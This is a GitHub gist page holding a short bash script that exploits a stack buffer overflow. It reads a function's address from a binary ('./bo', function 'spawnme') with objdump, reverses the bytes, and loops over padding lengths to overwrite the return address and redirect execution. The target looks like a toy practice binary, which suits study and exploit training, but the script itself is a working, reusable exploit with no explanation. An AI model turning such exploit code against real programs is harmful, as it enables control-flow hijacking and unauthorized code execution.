Skip to content

Instantly share code, notes, and snippets.

@oxagast
Last active April 29, 2020 00:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oxagast/fb7b28f5705b6c68b98052761e513b58 to your computer and use it in GitHub Desktop.
Save oxagast/fb7b28f5705b6c68b98052761e513b58 to your computer and use it in GitHub Desktop.
### oxagast ###
# jump to an arbitrary function via buffer overflow
FUNCTION="spawnme";
BINARY="./bo";
OTHEROPTS="a";
BUFFERLEN=16;
BUFOFF=`expr ${BUFFERLEN} + 30`;
FUNFUN="<${FUNCTION}>:";
LOC=$(objdump -d ${BINARY} | grep ${FUNCTION} | cut -d ' ' -f 1 | cut -c 11- | fold -w 2 | tac | awk '{print gensub(/^0*/,"","")}' 2>/dev/null);
REVLOC=$(printf '\\x'%s $LOC);
for OFFSET in `seq ${BUFOFF}`; do
${BINARY} -A `printf -v str %-${OFFSET}s ' ';echo -n "${str// /A}";printf ${REVLOC}`
done;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment